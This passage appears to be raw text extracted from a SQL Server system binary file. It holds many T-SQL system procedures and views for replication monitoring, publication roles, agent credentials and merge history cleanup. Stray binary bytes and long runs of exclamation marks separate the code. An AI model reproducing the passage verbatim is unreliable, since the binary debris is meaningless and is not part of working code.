									@article_id		= @article_id,
									@useAlterTable	= 0,
									@useUnique		= 1
									
				IF @retcode != 0 OR @@ERROR != 0
				BEGIN
					SET @retcode = 1
					GOTO RETURNSCRIPT
				END
			END
		END
	END
	
RETURNSCRIPT:
	-- Return script fragments
	select	procedure_text
	from	#proctext
	order by seq asc
		
	drop table #proctext

	RETURN @retcode
END
0 8create procedure sys.sp_replmonitoralerts
(
    @mode tinyint = 0 -- 0 = create, 1 = delete
)
as
begin
    set nocount on
    declare @retcode int
                ,@categoryname sysname
                ,@alertmessageid int
                ,@alertnameid int
                ,@title sysname
                ,@name sysname
                ,@alertname sysname

    --
    -- validate @mode
    --
    if (@mode not in (0,1))
        return 1
    --
    -- Threshold metrics has to exist
    --
    if (object_id('msdb.dbo.MSreplmonthresholdmetrics') is null)
        return 1
    --
    -- TEMPORARY
    --
    if not exists (select * from sys.columns
                    where name = N'alertnameid'
                and object_id=object_id('msdb.dbo.MSreplmonthresholdmetrics'))
    begin
        exec sys.sp_replmonitorinitializemetrics
    end

    --
    -- Get the category for the alerts
    -- Get Replication category name (assumes category_id = 20)
    --
    select @categoryname = name from msdb.dbo.syscategories where category_id = 20
    --
    -- enumerate through the collection
    --
    declare #hcthresholds cursor local fast_forward for 
        select title, alertmessageid, alertnameid
        from msdb.dbo.MSreplmonthresholdmetrics
    open #hcthresholds
    fetch #hcthresholds into @title, @alertmessageid, @alertnameid
    while (@@fetch_status != -1)
    begin
        select @name = null
        if (@mode = 0)
        begin
            --
            -- add the alert
            --
            if not exists (select * from msdb.dbo.sysalerts where message_id=@alertmessageid)
            begin
                select @alertname = isnull(formatmessage(@alertnameid), N'Replication Alert name')
                select @name  = formatmessage(20539, @alertname, @title)
                exec @retcode = msdb.dbo.sp_add_alert @name = @name
                                            ,@message_id = @alertmessageid
                                            ,@enabled = 1
                                            ,@delay_between_responses = 30
                                            ,@include_event_description_in = 5
                                            ,@category_name = @categoryname
                if @@error <> 0 or @retcode <> 0
                    return 1
            end
        end
        else
        begin
            --
            -- drop the alert
            --
            select @name = name from msdb.dbo.sysalerts where message_id=@alertmessageid
            if (@name is not null)
            begin
                exec @retcode = msdb.dbo.sp_delete_alert @name = @name
                if @@error <> 0 or @retcode <> 0
                    return (1)            
            end
        end
        --
        -- get next threshold
        --
        fetch #hcthresholds into @title, @alertmessageid, @alertnameid
    end
    --
    -- return
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`q<
g		!G0 8create function sys.fn_replgetNumOfErrorsMergesubscriptionsOnPublication (
    @publisher_id smallint, 
    @publisher_db sysname,
    @publication sysname,
    @publication_id int
)
returns int
as
begin
    declare @NumMergesubscriptionsErros int
    set @NumMergesubscriptionsErros=0

    select @NumMergesubscriptionsErros=count(*) 
	    from dbo.MSmerge_subscriptions subs
	    ,dbo.MSmerge_agents agents
	    ,dbo.MSmerge_sessions sessions
	    ,(
	    	select agent_id, max(start_time) as maxtime 
	    	from dbo.MSmerge_sessions group by agent_id
	    ) as latest
	    ,MSrepl_errors errs
	    where subs.publication_id=@publication_id
	    and subs.publisher_db=@publisher_db
	    and subs.publisher_id=@publisher_id
	    and subs.subscriber_id=agents.subscriber_id
	    and subs.subscriber_db=agents.subscriber_db
	    and agents.publisher_id=@publisher_id
	    and agents.publisher_db=@publisher_db 
	    and agents.publication=@publication	    
	    and agents.id=sessions.agent_id
	    and sessions.agent_id=latest.agent_id
	    and latest.maxtime=sessions.start_time
	    and errs.session_id=sessions.session_id
		
    return @NumMergesubscriptionsErros
end
0ԭ@ 8CREATE PROCEDURE sys.sp_createpalrole 
(
    @publication sysname
    ,@mode int = 0   -- 0 = merge, 1 = tran
    ,@publisher sysname = NULL -- for hrepl publications
)
AS
BEGIN
    set nocount on
    declare @role sysname
                ,@retcode int
                ,@pubidmerge uniqueidentifier
                ,@pubidtran int
                ,@publisher_type sysname
    --
    -- security check
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    --
    -- check @mode
    --
    if (@mode not in (0,1))
        return 1
    --
    -- publication should exist
    --
    if (@mode = 0)
    begin
        select @pubidmerge = pubid from dbo.sysmergepublications 
        where name = @publication and publisher_db = db_name() 
            and UPPER(publisher) collate database_default = UPPER(publishingservername()) collate database_default
        if (@pubidmerge is NULL)
        begin
            RAISERROR (20026, 16, -1, @publication)
            return (1)
        end
    end
    else
    begin
        -- Get publisher info
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo 
                                                        @publisher      = @publisher,
                                                        @publisher_type = @publisher_type OUTPUT
        IF @@error <> 0
        BEGIN
             RAISERROR (14071, 16, -1)
             return (1)
        END
        -- Restrict specification of publisher to HREPL only
        IF @publisher_type = N'MSSQLSERVER' AND @publisher is not null 
        BEGIN
            RAISERROR(21606, 16, -1, '@publisher', 'NULL')
            RETURN (1)
        END

        -- Get publication id
        SELECT @pubidtran = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

        if (@pubidtran is NULL)
        begin
            RAISERROR (20026, 16, -1, @publication)
            return (1)
        end
    end
    --
    -- Update the PAL role for this publication
    --
    if (@mode = 0)
    begin
        exec @retcode = sp_MSrepl_FixPALRole @pubid = @pubidmerge, @role = @role output
    end
    else
    begin
        exec @retcode = sp_MSrepl_FixTranPALRole 
                                                @pubid          = @pubidtran, 
                                                @publication    = @publication, 
                                                @publisher_type = @publisher_type, 
                                                @publisher      = @publisher, 
                                                @role = @role output,
                                                @reserved      = 1
    end
    if @retcode <> 0 or @@error <> 0
    begin
        RAISERROR (20625, 16, -1, @publication)
        return 1
    end
    --
    -- all done
    --
    return 0
END
0@ 8create procedure sys.sp_invalidate_textptr
	@TextPtrValue      varbinary(16) = 0x00
as
	dbcc invalidate_textptr(@TextPtrValue)
	return (0); -- sp_invalidate_textptr
0{@ 8CREATE VIEW sys.dm_broker_activated_tasks AS
    SELECT * FROM OpenRowset (TABLE SBACTIVATEDTASKS)
0 D8U`h%!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#7`;8<!	"!FXS0 ܿ@ 8create procedure sys.sp_MSrepl_isdbowner 
    @dbname sysname
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode int
    DECLARE @cmd      nvarchar(1000)
    DECLARE @isdbowner int

    SELECT @retcode = has_dbaccess(@dbname)
    IF (@retcode IS NULL) OR (@retcode = 0)
    BEGIN
        /* 
        ** Either no access or database not found 
        ** No need to go further
        */
        RETURN 0
    END

    SELECT @cmd = 'USE ' + quotename(@dbname) + ' SELECT @isdbowner = is_member(''db_owner'')'
    EXEC sys.sp_executesql @cmd, N'@isdbowner int output', @isdbowner output

    RETURN isnull(@isdbowner, 0)
END
0@ w8CREATE VIEW sys.dm_io_backup_tapes AS
	SELECT *
	FROM OpenRowset(TABLE TAPE_STATUS)
0k D8,
hc10n P8bh>F`0 }8CREATE VIEW sys.dm_resource_governor_workload_groups AS
	SELECT
	    group_id,
	    name,
	    pool_id,
	    statistics_start_time,
	    total_request_count,
	    total_queued_request_count,
	    active_request_count,
	    queued_request_count,
	    total_cpu_limit_violation_count,
	    total_cpu_usage_ms,
	    max_request_cpu_time_ms,
	    blocked_task_count,
	    total_lock_wait_count,
	    total_lock_wait_time_ms,
	    total_query_optimization_count,
	    total_suboptimal_plan_generation_count,
	    total_reduced_memgrant_count,
	    max_request_grant_memory_kb,
	    active_parallel_thread_count,
	    importance,
	    request_max_memory_grant_percent,
	    request_max_cpu_time_sec,
	    request_memory_grant_timeout_sec,
	    group_max_requests,
	    max_dop,
	    effective_max_dop
	FROM OpenRowSet(TABLE DM_RG_GROUPS)
0 8create procedure sys.sp_replmonitorchangepublicationthreshold 
(
    @publisher sysname -- cannot be null
    ,@publisher_db sysname -- cannot be null
    ,@publication sysname -- cannot be null
    ,@publication_type int = NULL -- NULL for wildcard, 0 transactional 1 snapshot 2 merge    
    ,@metric_id int = NULL -- NULL if name is specified
    ,@thresholdmetricname sysname = NULL -- NULL if id is specified
    ,@value int = NULL -- NULL - skip updating value
    ,@shouldalert bit = NULL -- NULL - skip updating value
    ,@mode tinyint = 1 -- mode of operation 1 = enable, 2 = disable
)
as
begin
    set nocount on
    declare @retcode int
                ,@publication_id int
    --
    -- constants
    --
    declare @modeenable tinyint
                ,@modedisable tinyint

    --
    -- initialize
    --
    select @modeenable = 1
                ,@modedisable = 2
    --
    -- security check : replmonitor
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
    	raiserror (21482, 16, -1, 'sp_replmonitorchangepublicationthreshold', 'distribution')
    	return 1
    end
    --
    -- check @mode
    --
    if (@mode not in (@modeenable, @modedisable))
    begin
        raiserror(21402, 16, -1, '@mode')
    	return 1
    end
    --
    -- validate publication
    --
    select @publication_id = p.publication_id
    from dbo.MSpublications as p join sys.servers as s
        on p.publisher_id = s.server_id
        and upper(s.name) = upper(@publisher)
        and p.publisher_db = @publisher_db
        and p.publication = @publication
        and p.publication_type= case when (@publication_type is null) then p.publication_type else @publication_type end
    if (@publication_id is null)
    begin
        raiserror(20026, 16, 1, @publication)
        return 1
    end
    --
    -- validate metric
    --
    if (@metric_id is null and @thresholdmetricname is null)
    begin
        raiserror(21821, 16, -1, '@metric_id', '@thresholdmetricname')
        return 1
    end
    else if (@metric_id is not null and @thresholdmetricname is null)
    begin
        select @thresholdmetricname = title
        from msdb.dbo.MSreplmonthresholdmetrics
        where metric_id = @metric_id
        if (@thresholdmetricname is null)
        begin
            raiserror(14200, 16, 1, '@metric_id')
            return 1
        end
    end
    else if (@metric_id is null and @thresholdmetricname is not null)
    begin
        select @metric_id = metric_id
        from msdb.dbo.MSreplmonthresholdmetrics
        where title = lower(@thresholdmetricname)
        if (@metric_id is null)
        begin
            raiserror(14200, 16, 2, '@thresholdmetricname')
            return 1
        end
    end
    else
    begin
        raiserror(21821, 16, -1, '@metric_id', '@thresholdmetricname')
        return 1
    end
    --
    -- proceed only if row exists
    --
    if exists (select * from dbo.MSpublicationthresholds 
        where publication_id = @publication_id 
            and metric_id = @metric_id)
    begin
        --
        -- Process according to the mode and update
        --
        if (@mode = @modeenable)
        begin
            -- enable state
            update dbo.MSpublicationthresholds
            set value = case when (@value is null) then value else @value end
                ,shouldalert = case when (@shouldalert is null) then shouldalert else @shouldalert end
                ,isenabled=1
            where publication_id = @publication_id 
                and metric_id = @metric_id
        end
        else
        begin
            -- disable state
            update dbo.MSpublicationthresholds
            set isenabled=0
            where publication_id = @publication_id 
                and metric_id = @metric_id
        end
        --
        -- Check if enable/disable update failed
        --
        if (@@error != 0)
            return 1
    end
    else
    begin
        raiserror(21823, 16, -1, 'enable/disable', 'MSpublicationthresholds')
        return 1
    end
    --
    -- return
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`3
<H$	32'"0t 8
create procedure sys.sp_tables_info_rowset2
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 19), --DBTYPE_UI4
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 4),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0Q D8eOh	70 8
--
-- Name:    
--          fn_MSrepl_getpubid
--          
-- Description: 
--          Retrieve the publication id for a given
--          publication and publisher
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          NULL	== no matching publication
--			pubid	== matching publication id
--      
-- Owner:   
--          <current owner> 

CREATE FUNCTION sys.fn_MSrepl_getpubid
(
	@publication    sysname,
	@publisher      sysname, 
	@publisher_type sysname
)
RETURNS int
AS
BEGIN
	DECLARE @retcode int
	DECLARE @pubid   int
	
	-- Determine the publisher type if not given
	IF @publisher_type IS NULL
	BEGIN
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
															@publisher_type = @publisher_type OUTPUT

		IF @retcode <> 0 OR @@ERROR <> 0
		BEGIN
			RETURN NULL
		END
	END
	
    IF @publisher_type = N'MSSQLSERVER' AND sys.fn_MSrepl_isdistdb(db_name()) = 0
    BEGIN
		-- SQL publications have unique names in syspublications
        SELECT	@pubid = pubid
		FROM	syspublications
		WHERE	name = @publication
		
	END
	ELSE
	BEGIN
		-- HREPL can have multiple publications of the same name
		-- Must filter by publisher id as well
		SELECT	@pubid = sp.pubid
		FROM	syspublications sp,
				MSpublications msp,
				master.dbo.sysservers ss
		WHERE	sp.pubid = msp.publication_id
		AND		msp.publisher_id = ss.srvid
		AND		UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
		AND		sp.name = @publication
	END
	
	RETURN @pubid
END
0 8CREATE FUNCTION sys.dm_logpoolmgr_freepools
	(
	@DatabaseId Int = 0
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOLMGR_FREEPOOLS, @DatabaseId)
0 *8
create procedure sys.sp_indexcolumns_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@ConstraintName	sysname = NULL,
	@Column			sysname = NULL
)
as 
	select
		constraint_catalog		= s_icv.constraint_catalog, 
		constraint_schema		= s_icv.constraint_schema, 
		constraint_name		= s_icv.constraint_name,
		table_catalog			= s_icv.table_catalog,
		table_schema			= s_icv.table_schema,
		table_name			= s_icv.table_name,
		column_name			= s_icv.column_name,
		ordinal_position		= convert(int, s_icv.ordinal_position),
		KeyType				= s_icv.KeyType,
		index_name 			= s_icv.index_name
from
	sys.spt_indexcolumns_view_managed s_icv
where
	(s_icv.table_catalog = @Catalog or (@Catalog is null)) and 
	(s_icv.table_schema = @Owner or (@Owner is null)) and 
	(s_icv.table_name = @Table or (@Table is null)) and 
	(s_icv.index_name = @ConstraintName or (@ConstraintName is null)) and
	(s_icv.column_name = @Column or (@Column is null))
order by table_name, index_name 
0Hi J8create procedure sys.sp_MSstopsnapshot_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstopsnapshot_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@stop tinyint
    set @stop = 1
    exec @retcode = sys.sp_MSsnapshotagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @stop        
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
\`}<	M0 8create procedure sys.sp_MSchange_logreader_agent_properties
(
	@publisher					sysname,
	@publisher_db 				sysname,
	@publisher_security_mode	int,
	@publisher_login			sysname,
	@publisher_password			nvarchar(524),
	@job_login 					nvarchar(257),
	@job_password 				sysname,
	@publisher_type				sysname
)
as
begin
	set nocount on
	
	declare @retcode 		bit,
			@publisher_id 	int,
			@agent_id		int,
			@agent_exists	bit,
			@job_id			uniqueidentifier,
			@job_step_uid	uniqueidentifier,
			@pubsecmode		int

    -- security: Has to be executed by SA of dist db
    if is_srvrolemember('sysadmin') != 1
    begin
    	-- You do not have the required permissions to complete the operation.
        raiserror (20604, 16, -1)
        return 1
    end

	-- retrieve the publisher id
	select @publisher_id = server_id 
		from sys.servers 
		where upper(name) = upper(@publisher)
    if @publisher_id is null
    begin
    	-- Publisher @publisher does not exist.
        raiserror(21618, 16, -1, @publisher)
        return 1
    end

    select @agent_id = id
		from MSlogreader_agents
		where publisher_id = @publisher_id
			and publisher_db = @publisher_db
	if @agent_id is NULL
	begin
		-- The logreader agent job for publisher (@publisher), database (@publisher_db), publication (@publication) could not be found.
		raiserror (21799, 16, -1, N'logreader', @publisher, @publisher_db, 'all')
		return 1
	end 
	
	begin transaction tran_sp_MSchange_logreader
	save transaction tran_sp_MSchange_logreader

    if @publisher_security_mode is not NULL
    	or @publisher_login is not NULL
    	or @publisher_password is not NULL
    begin
		-- if WINDOWS authentication then clear out the login/password
		if @publisher_security_mode = 1
	    begin
			select @publisher_login = '',
					@publisher_password = newid()
	    end

		-- Encrypt the password before storing
	    exec @retcode = sys.sp_MSreplencrypt @publisher_password OUTPUT
		if @@error <> 0 or  @retcode <> 0
	        goto FAILED
		
		update MSlogreader_agents
			set publisher_security_mode = isnull(@publisher_security_mode, publisher_security_mode),
				publisher_login = isnull(@publisher_login, publisher_login),
				publisher_password = isnull(@publisher_password, publisher_password)
			where id = @agent_id
		if @@error <> 0
	    	goto FAILED
	end
	
	if @job_login is not NULL
		or @job_password is not NULL
	begin
		-- HETERO check only
		if @publisher_type != N'MSSQLSERVER'
		begin
			-- we can only allow @job_login change for Hetero when
			-- the publisher_security_mode is standard security...
			select @pubsecmode = security_mode
				from msdb..MSdistpublishers
				where name = @publisher
					and distribution_db = db_name()

			if @pubsecmode is not NULL 
				AND @pubsecmode != 0
				AND @job_login is not NULL
			begin
				-- "@job_login can only be specified/changed for heterogeneous publications when the publisher security_mode (for sp_adddistpublisher) is set to 0."
				RAISERROR(21842, 16, -1, '@job_login', 'the publisher security_mode (for sp_adddistpublisher)', '0')
				goto FAILED
			end
		end
		
		exec @retcode = sys.sp_MSreplagentjobexists @type			= 2,
													@exists 		= @agent_exists output,
													@job_id			= @job_id output,
													@job_step_uid	= @job_step_uid output,
													@publisher		= @publisher,
													@publisher_db	= @publisher_db
		if @@error <> 0 or @retcode <> 0
			goto FAILED

		if @agent_exists = 0
		begin
			-- The logreader agent job for publisher (@publisher), database (@publisher_db), publication (@publication) could not be found.
			raiserror (21799, 16, -1, N'logreader', @publisher, @publisher_db, 'all')
			goto FAILED
		end
		
		exec @retcode = sys.sp_MSchange_repl_job @id = @job_id,
												@step_uid = @job_step_uid,
												@login = @job_login,
												@password = @job_password
		if @@error <> 0 or @retcode <> 0
			goto FAILED
	end

    commit transaction tran_sp_MSchange_logreader

    return 0
FAILED:
	rollback transaction tran_sp_MSchange_logreader
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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database_default event_name,
	property_name	collate database_default property_name
from sys._pdw_diag_event_properties
0[@ ?8
--
-- Name:
--		sp_MSrepl_fixupdefaultmappings
--
-- Description:
--		Prune any dead map entries (no data type mappings)
--		Restore defaults for any empty default mapping entries
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Used to clean up after dropping data type mappings
--		NOTE: Caller is assumed to manage transaction
--

CREATE PROCEDURE sys.sp_MSrepl_fixupdefaultmappings
AS
BEGIN
    SET NOCOUNT ON

	-- Delete any dead maps
	DELETE FROM msdb.dbo.MSdbms_map
	WHERE	map_id NOT IN
				(
					SELECT	distinct map_id
					FROM	msdb.dbo.MSdbms_datatype_mapping
				)
	
	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END
	
	-- Reset null default mappings
	UPDATE	msdb.dbo.MSdbms_map
	SET		default_datatype_mapping_id = dm.datatype_mapping_id
	FROM	msdb.dbo.MSdbms_map map,
			msdb.dbo.MSdbms_datatype_mapping dm
	WHERE	map.map_id = dm.map_id
	  AND	map.default_datatype_mapping_id IS NULL

	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END
	
	RETURN (0)		
END
0@ 8
create procedure sys.sp_MScleanup_subscriber_history @subid uniqueidentifier = NULL, @keep_sessions int = 0 as
begin
    set nocount on
    
    declare @lowest_session_id_to_keep int
    declare @ts_marker binary(8)
    
    if @subid is not null
    begin
    
        if (select count(*) from dbo.MSmerge_sessions with (nolock) where subid = @subid) <= @keep_sessions
            and (select count(*) from dbo.MSmerge_history MH JOIN dbo.MSmerge_sessions MS
                    on MH.session_id = MS.session_id
                    where MS.subid=@subid
                    )<5500 --add 500 rows to the upper bound so that we don't call the cleanup for every sync when 5000 is reached
            return 0

        --only keep the latest 5000 rows for each subscription
 		select top 5000 @ts_marker = mh.timestamp 
		from dbo.MSmerge_history mh JOIN dbo.MSmerge_sessions ms ON
		mh.session_id = ms.session_id
        where ms.subid = @subid
        order by mh.timestamp desc
        
        delete dbo.MSmerge_history 
		from dbo.MSmerge_history mh JOIN dbo.MSmerge_sessions ms ON
		mh.session_id = ms.session_id
        where ms.subid = @subid
        and mh.timestamp < @ts_marker
            
        select @lowest_session_id_to_keep = session_id
        from dbo.MSmerge_sessions ms1
        where subid = @subid
        and (select count(*) from dbo.MSmerge_sessions ms2
                where ms2.subid = @subid
                and ms2.session_id > ms1.session_id) = @keep_sessions
                
        if @lowest_session_id_to_keep is null
            return 0
            
        delete from dbo.MSrepl_errors where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions
                                where subid = @subid)
                                
        delete from dbo.MSmerge_history where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions where subid = @subid)

                
        delete from dbo.MSmerge_articlehistory where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions
                                where subid = @subid)
                                
        delete from dbo.MSmerge_sessions where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions
                                where subid = @subid)
    end
    else
    begin
        delete from dbo.MSmerge_sessions where subid not in 
            (select subid from dbo.sysmergesubscriptions)
            
        delete from dbo.MSmerge_articlehistory where session_id not in 
            (select session_id from dbo.MSmerge_sessions)
            
        delete from dbo.MSmerge_history where session_id not in 
            (select session_id from dbo.MSmerge_sessions)
            
        delete from dbo.MSrepl_errors where session_id not in 
            (select session_id from dbo.MSmerge_sessions)
    end
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R`
<$	A.E0@ u8create procedure sys.sp_MStestbit
            @bm varbinary(128),
            @coltotest smallint
AS
            declare @word smallint
            declare @bit  smallint
            declare @mask binary(2)
            declare @mval int
            declare @oldword binary(2)  

            if @coltotest < 1 return 0

